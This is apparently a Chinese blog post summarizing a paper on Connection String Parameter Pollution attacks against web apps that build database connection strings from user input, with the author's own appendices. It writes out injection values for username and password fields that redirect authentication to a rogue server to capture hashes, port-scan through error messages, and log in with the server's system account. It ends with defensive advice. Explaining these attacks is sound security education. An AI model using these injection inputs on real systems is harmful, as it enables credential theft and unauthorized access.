SQL注入攻击是最常见的注入攻击方法,主要利用web应用调用数据库查询的实现缺陷来进行攻击。
CSPP攻击,顾名思义,则是通过利用应用程序连接到数据库过程中设计缺陷来进行漏洞攻击。
由于现在WEB应用数据查询体系的发展方向,导致CSPP攻击已经逐渐消失在大众的目光下。
如果你也不知道的话,那就来和我一起学习吧
本文主要由CSPP论文译文简述与我的额外附录组成。 并描述了CSPP攻击利用:Hash窃取、端口扫描、劫持登录证书。
参考论文: Connection String Parameter PollutionAttacks
(Connection String Parameter PollutionAttacks 连接字符串参数污染攻击)
典型的web应用程序的身份验证系统有两种实现结构:
1、创建自己的凭据认证系统 (目前常见于WEB应用)
2、将其委托给数据库引擎(目前常见于内网应用)
在大多数情况下,应用程序开发人员选择只使用一个用户连接数据库。
从数据库端来看,这个数据库用户代表整个web应用程序,web应用程序将使用这一个数据库连接,来实现对存储应用程序的用户身份凭证的自定义用户表进行SQL查询。
图1.公共web应用程序身份验证体系结构
Web应用程序管理登录过程图
1.Web应用程序使用它的凭据连接到数据库
2.查询用户登录信息
3.检查存储在用户自定义表中的用户登录信息
web应用程序由一个数据库用户标识,该用户可以访问数据库中的整个应用程序内容,因此,不可能在数据库中的不同对象上实现粒度化的权限系统,或者跟踪web应用程序中每个用户的操作,只能将这些任务委托给web应用程序本身。 这种架构很常见,可以在广泛使用的CMS系统中找到,如Joomla、Mambo和许多其他系统。通常情况下,攻击者的目标是从数据库中的users表中获取应用程序用户凭据。
另一种方法是将身份验证委托给数据库引擎,这样连接字符串就不再包含一组固定的凭据,而是使用用户输入的凭据,并由数据库引擎负责检查它们。
数据库管理程序经常使用这种委托身份验证,以便连接到应用程序的用户只能访问和控制他拥有权限的对象和操作。有了这种架构,就可以实现一个细粒度的权限系统,并能够在数据库中跟踪用户的操作。
图2.Web应用程序委托身份验证体系结构。
数据库引擎管理登录过程
1.web应用要求输入凭证
2.连接字符串由要连接到数据库的输入凭证组成
3.连接字符串中使用的用户的决定着账号的角色和权限
本文中描述的CSPP攻击集中于第二种环境: 将身份验证委托给数据库引擎。
tips: 较久远的内网客户端应用常用第二种架构。
连接字符串被用于连接应用程序到数据库引擎。
其中指定要连接的服务器和端口、数据库名称、身份验证凭据和一些连接配置参数,如超时、替代数据库、通信协议或加密选项。
一个用于连接到Microsoft SQL Server数据库的普通连接字符串:
"Data Source=Server, Port; Network Library=DBMSSOCN;Initial Catalog=DataBase; User ID=Username; Password=pwd;"
如示例所示,连接字符串是由分号(;)分隔的参数集,每个参数是一个键值对。
无论SQL server是什么版本(7,2000,2005和2008),其中默认支持程序的连接字符串语法是相同的
在授权认证环境中,连接字符串注入技术允许攻击者通过在参数后面附加分号(;)来注入参数。
在一个要求用户输入用户名和密码以创建连接字符串的示例中,攻击者可以输入密码,例如"pwd;Encryption=off",产生的连接字符串如下:
"Data Source=Server, Port; Network Library=DBMSSOCN; Initial Catalog=DataBase; User ID=Username; Password=pwd; Encryption=off"
填充连接字符串时,加密值将添加到前面配置的参数集中
参数污染技术用于覆盖参数上的值。它们在HTTP[5]环境中是众所周知的,但它们也适用于其他环境。在本例中,可以将参数污染技术应用于连接字符串中的参数,从而允许多种攻击。
示例场景:
1、一个运行在Windows的IIS Web服务器上的web应用程序,
2、其中用户认证时需要一个用户[User_Value]和一个密码[Password_Value]。
3、应用程序将用户输入的凭据用于创建到SQL Server数据库的连接字符串,
如下所示:
Data source SQL2005; initial catalog dbl ; integrated security=no; user id=+' User_Value' + ; Password=+'Password Value' + ;
PS: integrated security 集成安全性
这个连接字符串显示了应用程序如何连接到SQL Server数据库引擎。
知道了这一点,攻击者就可以执行连接字符串参数污染攻击。
这种攻击的思想是向连接字符串添加一个具有所需值的参数,而不管该参数是否已经存在于字符串中或已经设置的值中。
.net应用创建连接字符串时默认使用连接字符串中最后一次出现的参数的值。
即,如果连接字符串有两个键为“Data Source”的参数,那么使用的值将是最后两个对中的一个,这允许以下CSPP攻击向量:
攻击者可以在Internet放置一个用于监听的欺诈SQL Server,并使用SQL Server凭证嗅探器监听(在本例中使用了CAIN )。
攻击者会进行如下CSPP攻击:
User Value :Data Source = Rogue _ Server (欺诈服务器地址)
Password Value: Integrated Security true (集成安全性启用)
PS: integrated security 集成安全性
正确拼接将生成以下连接字符串:
Data source SQL2005; initial catalog dbl; integrated security=no; user id=;Data Source=Rogue_Server; Password Integrated Security=true;
此时"Data Source"和"Integrated Security"参数被覆盖,因此SQL Server本地驱动程序将使用最后一组值,而忽略前面的值。
此时,应用程序将尝试使用运行的Windows凭据连接到欺诈服务器,该凭据可以是系统用户,也可以是应用程序池用户。此时通过在欺诈服务器嗅探,可以获取到web应用所使用的凭据。
ASP.NETEnterprise Manager 是一个被遗弃的、不受支持的开源数据库工具,通过web界面来管理SQL Server数据库,这个工具还可以从SourceForge等网站上获得。
图3.利用CSPP窃取ASP.NET企业管理工具中的帐户信息
图4.在欺诈服务器中运行的Cain收集到HASH值
HASH窃取主要流程
1、构造链接,使得服务器向欺诈服务器发起携带默认认证信息的请求。
2、最终导致在应用将凭证发往安装了数据库连接嗅探器的欺诈服务器上,
3、嗅探器CAIN成功收集到了允许访问该帐户的LM哈希。
tips:现在可以使用其他的凭证嗅探工具,如respender
连接字符串上的一个有效参数是要连接到的端口。
攻击者可以通过修改端口号尝试连接到不同的端口,通过对比获得的错误消息,从而实现扫描内部或外部网络上的服务器:
注入输入值:
User_Value: Data Source =Target_Server, Target _Port
Password Value: Integrated Security true
PS: integrated security 集成安全性
此种输入将产生以下连接字符串:
Data source SQL2005; initial catalog dbl ; integrated security=no; user id=;Data Source=Target Server, Target Port; Password=; Integrated Security=true;
此连接字符串将忽略第一个“Data Source”参数,并将使用最后一个“Data Source”参数,这意味着web应用程序将尝试连接到“Server”机器上的“Target Port”端口。
观察返回的错误消息中的差异,从而可以执行端口扫描。
mylittleleadmin和myLittleBackup都是由myLittleTools开发的商业工具。这两个工具在mylittleleadmin 3.5和myLittleBackup1.6版本之前都容易受到CSPP攻击。
图5 可以通过端口80建立到www.gooogle.com的连接
图6 无法通过XX端口与www.google.com建立连接
端口扫描分析过程:
如图5所示,当端口正在监听(打开)时,获得的错误消息说没有Microsoft SQL Server正在监听,但是成功建立了TCP连接。说明端口是开放的。
如图6所示,当端口关闭时,TCP连接无法完成,错误消息是不同的。使用这些错误消息,可以在服务器上运行完整的TCP端口扫描。
攻击者可以试图通过使用web应用程序使用系统帐户连接数据库,而不需要用户提供账号密码信息:
输入值:
User Value: Data Source =Target_Server (目标服务器)
Password Value: Integrated Security true(启用集成安全)
PS: integrated security 集成安全性
这些注入的值将产生以下连接字符串:
Data source SQL2005; initial catalog dbl ; integrated security=no; user id=;Data Source=Target Server, Target Port; Password Integrated Security=true;
这一次是主要用“True”值覆盖的“integrated security”参数。
这意味着系统将尝试使用工具正在运行的系统帐户连接数据库。
在本例中,这是web服务器中的web应用程序使用的系统帐户。
PS: integrated security属性请看附录
发布在微软网站上的SQL Server Web Data Administrator版本容易受到CSPP攻击。
下面的截图显示了如何使用这种类型的攻击访问系统。
图7.在WEB Data Administrator工具上利用凭据
图8.使用服务器帐户进行控制台访问
图9系统帐户访问授权。
在图7中,密码值为如上所述的: integrated Security=true。
在图8中,攻击者可以登录web应用程序来管理整个系统。
如图9所示,漏洞原因是所有用户和网络服务都可以访问服务器。
常规连接数据库字符串示例:
string constr = "Data source=(local);initial catalog=data;integratedsecurity=true";
integratedsecurity=false (默认)
表示一定要输入正确的数据库登录名和密码,才能进行登录认证。
integratedsecurity=true
表示可以在不知道数据库用户名和密码的情况下时连接数据库,利用当前应用凭据进行认证。
通过构造CSPP将integrated security 覆盖为true,能够实现HASH窃取,免密登录等效果。
这些技术也适用于其他数据库引擎,
如Oracle数据库,它允许管理员在数据库中设置集成的安全性。 此外,在Oracle连接字符串中,可以通过强制使用sysdba会话来改变用户连接的方式。
MySQL数据库不允许管理员配置集成的安全认证过程。然而,仍然有可能注入代码和操作连接字符串,以尝试连接到未向Internet公开的内部服务器。
各种数据库的连接字符串
mysql "Server=localhost;Database=mytest;User=root;Password=;Port=3306;Charset=utf8" SQL Server "Database=MyData;DataSource=NICKYAN-PC;User Id=sa;Password=123123;" Oracle "DataSource=NICKYAN-PC;User Id=PB_DB_USER;Password=123123;IntegratedSecurity=no" OleDB "Provider=Microsoft.Jet.OLEDB.4.0;DataSource=RedGlovePermission.Web\DB\MyData.mdb;Persist Security Info=False"
追加
常规连接数据库字符串示例:
string constr = "Data source=(local);initial catalog=data;integrated security=true"; PS: integrated security 集成安全性 Integrated security存在true和=false两种可选参数 integrated security=false (默认)
表示一定要输入正确的数据库登录名和密码,才能进行登录认证。
integrated security=true
表示可以在不知道数据库用户名和密码的情况下时连接数据库,利用当前应用凭据进行认证。
通过构造CSPP将integrated security 覆盖为true,能够实现HASH窃取,免密登录等效果。
mysql
"Server=localhost;Database=mytest; User=root;Password=;Port=3306;Charset=utf8"
SQL Server
"Database=MyData;Data Source=NICKYAN-PC;User Id=sa;Password=123123;"
Oracle
"Data Source=NICKYAN-PC;User Id=PB_DB_USER;Password=123123;Integrated Security=no"
OleDB
"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=RedGlovePermission.Web\DB\MyData.mdb;Persist Security Info=False"
微软发布了ConnectionStringbuilder是避免这类攻击,但并不是所有的项目都更新为使用这些新的安全组件。 为了避免这些攻击,必须过滤掉分号字符,清除所有参数,并加强防火墙,以便不仅过滤入站连接,还防止来自向internet发送NTLM凭据的内部服务器的出站连接。
论文篇幅比我这个长一些,多两个web凭证登录的示例,是道客巴巴买的,如果需要原版英文PDF,可以私聊